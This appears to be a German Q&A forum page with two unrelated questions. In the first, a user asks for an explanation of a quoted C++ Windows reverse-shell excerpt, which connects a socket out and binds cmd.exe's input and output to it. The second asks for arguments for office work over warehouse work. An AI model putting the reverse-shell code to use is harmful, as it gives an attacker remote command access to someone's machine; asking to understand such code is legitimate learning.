Was bedeutet dieser Code grob - Reverse Shell?

Tach, ich habe mir aus langeweile den Code einer Reverse Shell in c++ angesehen und ich frage mich was folgender Code bedeutet. Ich verstehe nur einzelne Teile und ich würde gerne eine grobe Erklärung bekommen, was der Code tut. (vollen Code auf https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp)

if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) {
	            closesocket(mySocket);
	            WSACleanup();
	            continue;
	        }
	        else {
	            char RecvData[DEFAULT_BUFLEN];
	            memset(RecvData, 0, sizeof(RecvData));
	            int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	            if (RecvCode <= 0) {
	                closesocket(mySocket);
	                WSACleanup();
	                continue;
	            }
	            else {
	                char Process[] = "cmd.exe";
	                STARTUPINFO sinfo;
	                PROCESS_INFORMATION pinfo;
	                memset(&sinfo, 0, sizeof(sinfo));
	                sinfo.cb = sizeof(sinfo);
	                sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	                sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
	                CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
	                WaitForSingleObject(pinfo.hProcess, INFINITE);
	                CloseHandle(pinfo.hProcess);
	                CloseHandle(pinfo.hThread);
	

	                memset(RecvData, 0, sizeof(RecvData));
	                int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
	                if (RecvCode <= 0) {
	                    closesocket(mySocket);
	                    WSACleanup();
	                    continue;
	                }
	                if (strcmp(RecvData, "exit\n") == 0) {
	                    exit(0);
	                }
	            }
Computer, IT, programmieren, Hacking, Informatik, Shell, C (Programmiersprache)
Pro u. Contra Argumente, warum es besser ist im Büro zu arbeiten als im Lager?

Hallo zusammen,

ich hab ein sehr spezielles Thema, deswegen wäre nice wenn wir einfach nur direkt auf die Frage eingehen anstatt mir Alternative Lösungsansätze zu nennen nach denen nicht gefragt wurde.

Ich hab einen Freund, der sich seit ich ihn kenne von einem Aushilfsjob zum Nächsten gehangelt hat. Mal im Baumarkt, dann bei der Deutschen Bahn, dann im Krankenhaus in der Nachtschicht, etc. Der hat immer die wildesten Storys zu erzählen, wemma über die Arbeit quatschen. Die Kollegen sind so assozial, und entweder Grenzen ihn aus, oder schwärzen ihn beim Chef an, für Dinge die er noch garnicht können konnte, versuchen ihn rauszueckeln, oder ein Chef der ihm einfach ne fristlose Kündigung hinklatscht weil er sichs Bein verletzt hat und paar Wochen ausfallen müsste. Lässt sich alles mMn mit sehr unterirdische Arbeitsbedingungen zusammenfassen.

Ich selbst hab vor 4 Jahren auch mal für ne Zeitarbeitsfirma im Lager kommissioniert. Und für mich wars die Hölle auf Erden, will kein Roman schreiben, aber es war schon zu hart 10min aufs Klo zu gehen, dafür wärn ja die Pausen da.

Mittlerweile arbeite ich in nem Bürojob. Bin IT-Netzwerktechniker bei MAN, und seh einfach die andere Seite der Medaille. Kein Druck von oben, selbstständiges eigenverantwortliches Arbeiten. Während der 6 Monate Probezeit wird er von mir gechillt an die Hand genommen, keiner erwartet dass er nach 1 Woche direkt volle Leistung erbringen muss, wie im Lager. Dazu verdient ma auch besser, hat Firmenwagen, Laptop, Handy, flexible Arbeitszeiten, Gleitzeitkonto diesdas.. ich persönlich sehe Lagerarbeit als Sklavenarbeit u. Büro als Himmel auf Erden.

Nun hab ich diesen Freund, der 2 Monate lang schon arbeitslos war, und sich bei mir Luft gemacht hat und ich hab einfach Mitleid gekriegt und wollte ihm da raushelfen. Ich find als guter Freund hat man ne Verantwortung seinem F-Kreis gegenüber, dass keiner zurückgelassen wird wenn er mal am Boden ist. Dswg mit meinen Chefs geredet, dass die den aufnehmen. die Firma antwortete darauf, dass er ein Cisco Zertifikat haben muss (CCNA). Daraufhin hab ich ihm nen Onlinekurs bezahlt, und bin nach der Arbeit jeden Tag zu ihm und mit ihm gelernt. CCNA braucht schon 2-3 Monate intensives lernen und üben. Nach 3 Wochen hat er kurzfristig ein Jobangebot einer ZA-Firma für Kommissionieren im Lager bekommen, und hat da spontan den Vertrag unterschrieben. Nach dem Motto, "passt schon.. ist auch gut.. hauptsache arbeit"..

Klar gönn ich ihm, aber ich denk mir auch, er weiß garnicht was ihm da grade für ne riesen Chance entgeht, nur weil er vorher schon aufgibt, es nichtmal versucht das Zertifikat zu schaffen.

Nun meine Frage. Nennt mir bitte Pro- u. Contra- Argumente jeweils für Arbeiten im Büro u. Arbeiten im Lager.

Ich werd am Sonntag mit ihm nochmal drüber sprechen, und ich brauch gute Argumente, ihm Büro schmackhaft zu machen. Wir werden bald in ner 4-Mann WG zamziehen, ich könnt ihn so krass auf mein Level anheben. Aber er muss es halt auch wollen.

Arbeit, Job, IT, Büro, Bürokaufmann, Fachlagerist, Lagerlogistik

Meistgelesene Beiträge zum Thema IT